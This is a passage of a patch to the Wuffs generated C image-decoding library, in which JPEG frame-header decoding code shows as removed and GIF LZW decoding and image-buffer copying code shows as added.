wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); -+ wuffs_private_impl__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); -+ if (v_block_size > 0u) { -+ break; - } -- uint8_t t_6 = *iop_a_src++; -- v_c = t_6; -- } -- if (v_c >= 4u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ v_need_block_size = true; -+ break; -+ } -+ v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -+ iop_a_src += 1u; - } -- self->private_impl.f_components_tq[v_i] = v_c; -- v_j = 0u; -- while (v_j < v_i) { -- if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ while (true) { -+ if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { -+ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); - goto exit; - } -- v_j += 1u; -- } -- v_i += 1u; -- } -- if (self->private_impl.f_num_components == 1u) { -- self->private_impl.f_max_incl_components_h = 1u; -- self->private_impl.f_max_incl_components_v = 1u; -- self->private_impl.f_components_h[0u] = 1u; -- self->private_impl.f_components_v[0u] = 1u; -- } else { -- v_has_h24 = false; -- v_has_h3 = false; -- v_has_v24 = false; -- v_has_v3 = false; -- v_i = 0u; -- while (v_i < self->private_impl.f_num_components) { -- v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); -- v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); -- v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); -- v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); -- v_i += 1u; -- } -- if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); -- goto exit; -- } -- if (self->private_impl.f_num_components == 4u) { -- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); -- } else { -- if (self->private_impl.f_is_jfif) { -- self->private_impl.f_is_rgb_or_cmyk = false; -- } else if (self->private_impl.f_is_adobe > 0u) { -- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); -- } else { -- self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, -+ self->private_impl.f_compressed_ri, -+ self->private_impl.f_compressed_wi), -+ 0u); -+ v_mark = ((uint64_t)(iop_v_r - io0_v_r)); -+ u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); -+ wuffs_gif__decoder__lzw_read_from(self, v_r); -+ iop_v_r = u_r.data.ptr + u_r.meta.ri; -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; - } -- } -- } -- self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); -- self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); -- v_upper_bound = 65544u; -- self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); -- self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); -- self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); -- self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); -- self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); -- self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); -- self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); -- self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); -- v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); -- v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); -- v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); -- v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); -- v_progressive = 0u; -- if (self->private_impl.f_sof_marker >= 194u) { -- v_progressive = 2u; -- v_i = 0u; -- while (v_i < 4u) { -- v_j = 0u; -- while (v_j < 10u) { -- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; -- v_j += 1u; -+ if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { -+ v_copy_status = wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, -+ self->private_impl.f_lzw_output_ri, -+ self->private_impl.f_lzw_output_wi)); -+ if (wuffs_base__status__is_error(&v_copy_status)) { -+ status = v_copy_status; -+ goto exit; -+ } -+ self->private_impl.f_lzw_output_ri = 0u; -+ self->private_impl.f_lzw_output_wi = 0u; - } -- v_i += 1u; -+ if (self->private_impl.f_lzw_read_from_return_value == 0u) { -+ self->private_impl.f_ignored_but_affects_benchmarks = false; -+ if (v_need_block_size || (v_block_size > 0u)) { -+ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_id_part2.scratch; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_gif__decoder__skip_blocks(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ goto label__outer__break; -+ } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { -+ continue; -+ } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { -+ goto label__outer__continue; -+ } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { -+ if (v_need_block_size || (v_block_size > 0u)) { -+ self->private_data.s_decode_id_part2.scratch = ((uint32_t)(v_block_size)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_data.s_decode_id_part2.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_id_part2.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_id_part2.scratch; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ status = wuffs_gif__decoder__skip_blocks(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ goto label__outer__break; -+ } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { -+ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -+ goto exit; -+ } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -+ goto exit; - } - } -- self->private_impl.f_components_workbuf_offsets[0u] = 0u; -- self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); -- self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); -- self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); -- self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); -- self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); -- self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); -- self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); -- self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); -+ label__outer__break:; -+ self->private_impl.f_compressed_ri = 0u; -+ self->private_impl.f_compressed_wi = 0u; -+ if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { -+ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); -+ goto exit; -+ } - -- goto ok; - ok: -- self->private_impl.p_decode_sof[0] = 0; -+ self->private_impl.p_decode_id_part2 = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_sof[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_sof[0].v_i = v_i; -+ self->private_impl.p_decode_id_part2 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_id_part2.v_block_size = v_block_size; -+ self->private_data.s_decode_id_part2.v_need_block_size = v_need_block_size; - - goto exit; - exit: -@@ -43322,106 +43364,182 @@ wuffs_jpeg__decoder__decode_sof( - return status; - } - --// -------- func jpeg.decoder.quantize_dimension -+// -------- func gif.decoder.copy_to_image_buffer - - WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__quantize_dimension( -- const wuffs_jpeg__decoder* self, -- uint32_t a_width, -- uint8_t a_h, -- uint8_t a_max_incl_h) { -- uint32_t v_ratio = 0; -+static wuffs_base__status -+wuffs_gif__decoder__copy_to_image_buffer( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_pb, -+ wuffs_base__slice_u8 a_src) { -+ wuffs_base__slice_u8 v_dst = {0}; -+ wuffs_base__slice_u8 v_src = {0}; -+ uint64_t v_width_in_bytes = 0; -+ uint64_t v_n = 0; -+ uint64_t v_src_ri = 0; -+ wuffs_base__pixel_format v_pixfmt = {0}; -+ uint32_t v_bytes_per_pixel = 0; -+ uint32_t v_bits_per_pixel = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_j = 0; -+ uint32_t v_replicate_y0 = 0; -+ uint32_t v_replicate_y1 = 0; -+ wuffs_base__slice_u8 v_replicate_dst = {0}; -+ wuffs_base__slice_u8 v_replicate_src = {0}; - -- v_ratio = 0u; -- if (a_h > 0u) { -- v_ratio = ((uint32_t)((a_max_incl_h / a_h))); -+ v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); -+ v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); -+ if ((v_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } -- if (v_ratio == 1u) { -- return ((a_width + 7u) / 8u); -- } else if (v_ratio == 2u) { -- return ((a_width + 15u) / 16u); -- } else if (v_ratio == 3u) { -- return ((a_width + 23u) / 24u); -+ v_bytes_per_pixel = (v_bits_per_pixel >> 3u); -+ v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); -+ v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); -+ while (v_src_ri < ((uint64_t)(a_src.len))) { -+ v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); -+ if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { -+ if (self->private_impl.f_quirks[3u]) { -+ return wuffs_base__make_status(NULL); -+ } -+ return wuffs_base__make_status(wuffs_base__error__too_much_data); -+ } -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); -+ } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); -+ if (v_i < ((uint64_t)(v_dst.len))) { -+ v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); -+ if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { -+ v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); -+ } else { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); -+ } -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); -+ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); -+ } -+ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { -+ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -+ if (self->private_impl.f_interlace == 0u) { -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); -+ continue; -+ } -+ if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { -+ v_replicate_src = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); -+ v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); -+ v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); -+ while (v_replicate_y0 < v_replicate_y1) { -+ v_replicate_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_replicate_y0); -+ wuffs_private_impl__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); -+ v_replicate_y0 += 1u; -+ } -+ self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); -+ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_interlace -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); -+ } -+ continue; -+ } -+ if (((uint64_t)(a_src.len)) == v_src_ri) { -+ break; -+ } else if (((uint64_t)(a_src.len)) < v_src_ri) { -+ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -+ } -+ v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); -+ v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); -+ wuffs_private_impl__u64__sat_add_indirect(&v_src_ri, v_n); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { -+ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); -+ while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_interlace -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); -+ } -+ continue; -+ } -+ if (v_src_ri != ((uint64_t)(a_src.len))) { -+ return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -+ } -+ break; - } -- return ((a_width + 31u) / 32u); -+ return wuffs_base__make_status(NULL); - } - --// -------- func jpeg.decoder.decode_frame_config -+// -------- func gif.decoder.lzw_init - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__decode_frame_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+static wuffs_base__empty_struct -+wuffs_gif__decoder__lzw_init( -+ wuffs_gif__decoder* self) { -+ uint32_t v_i = 0; - -- ok: -- self->private_impl.p_decode_frame_config[0] = 0; -- goto exit; -+ self->private_impl.f_lzw_literal_width = 8u; -+ if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { -+ self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); - } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); -+ self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); -+ self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; -+ self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; -+ self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); -+ self->private_impl.f_lzw_bits = 0u; -+ self->private_impl.f_lzw_n_bits = 0u; -+ self->private_impl.f_lzw_output_ri = 0u; -+ self->private_impl.f_lzw_output_wi = 0u; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_lzw_clear_code) { -+ self->private_data.f_lzw_lm1s[v_i] = 0u; -+ self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); -+ v_i += 1u; - } -- return status; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func jpeg.decoder.do_decode_frame_config -+// -------- func gif.decoder.lzw_read_from - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__do_decode_frame_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__frame_config* a_dst, -+static wuffs_base__empty_struct -+wuffs_gif__decoder__lzw_read_from( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ uint32_t v_clear_code = 0; -+ uint32_t v_end_code = 0; -+ uint32_t v_save_code = 0; -+ uint32_t v_prev_code = 0; -+ uint32_t v_width = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_output_wi = 0; -+ uint32_t v_code = 0; -+ uint32_t v_c = 0; -+ uint32_t v_o = 0; -+ uint32_t v_steps = 0; -+ uint8_t v_first_byte = 0; -+ uint16_t v_lm1_b = 0; -+ uint16_t v_lm1_a = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -43434,83 +43552,370 @@ wuffs_jpeg__decoder__do_decode_frame_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ v_clear_code = self->private_impl.f_lzw_clear_code; -+ v_end_code = self->private_impl.f_lzw_end_code; -+ v_save_code = self->private_impl.f_lzw_save_code; -+ v_prev_code = self->private_impl.f_lzw_prev_code; -+ v_width = self->private_impl.f_lzw_width; -+ v_bits = self->private_impl.f_lzw_bits; -+ v_n_bits = self->private_impl.f_lzw_n_bits; -+ v_output_wi = self->private_impl.f_lzw_output_wi; -+ while (true) { -+ if (v_n_bits < v_width) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -+ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); -+ iop_a_src += ((31u - v_n_bits) >> 3u); -+ v_n_bits |= 24u; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ self->private_impl.f_lzw_read_from_return_value = 3u; -+ } else { -+ self->private_impl.f_lzw_read_from_return_value = 2u; -+ } -+ break; -+ } else { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ if (v_n_bits >= v_width) { -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ self->private_impl.f_lzw_read_from_return_value = 3u; -+ } else { -+ self->private_impl.f_lzw_read_from_return_value = 2u; -+ } -+ break; -+ } else { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ if (v_n_bits < v_width) { -+ self->private_impl.f_lzw_read_from_return_value = 5u; -+ break; -+ } -+ } - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); -+ v_bits >>= v_width; -+ v_n_bits -= v_width; -+ if (v_code < v_clear_code) { -+ self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); -+ v_output_wi = ((v_output_wi + 1u) & 8191u); -+ if (v_save_code <= 4095u) { -+ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); -+ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; -+ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { -+ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; -+ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); -+ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); -+ } else { -+ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -+ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); -+ } -+ v_save_code += 1u; -+ if (v_width < 12u) { -+ v_width += (1u & (v_save_code >> v_width)); -+ } -+ v_prev_code = v_code; - } -- if (status.repr) { -- goto suspend; -+ } else if (v_code <= v_end_code) { -+ if (v_code == v_end_code) { -+ self->private_impl.f_lzw_read_from_return_value = 0u; -+ break; - } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -+ v_save_code = v_end_code; -+ v_prev_code = v_end_code; -+ v_width = (self->private_impl.f_lzw_literal_width + 1u); -+ } else if (v_code <= v_save_code) { -+ v_c = v_code; -+ if (v_code == v_save_code) { -+ v_c = v_prev_code; -+ } -+ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); -+ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); -+ v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); -+ while (true) { -+ memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); -+ if (v_steps <= 0u) { -+ break; -+ } -+ v_steps -= 1u; -+ v_o = (((uint32_t)(v_o - 8u)) & 8191u); -+ v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); -+ } -+ v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; -+ if (v_code == v_save_code) { -+ self->private_data.f_lzw_output[v_output_wi] = v_first_byte; -+ 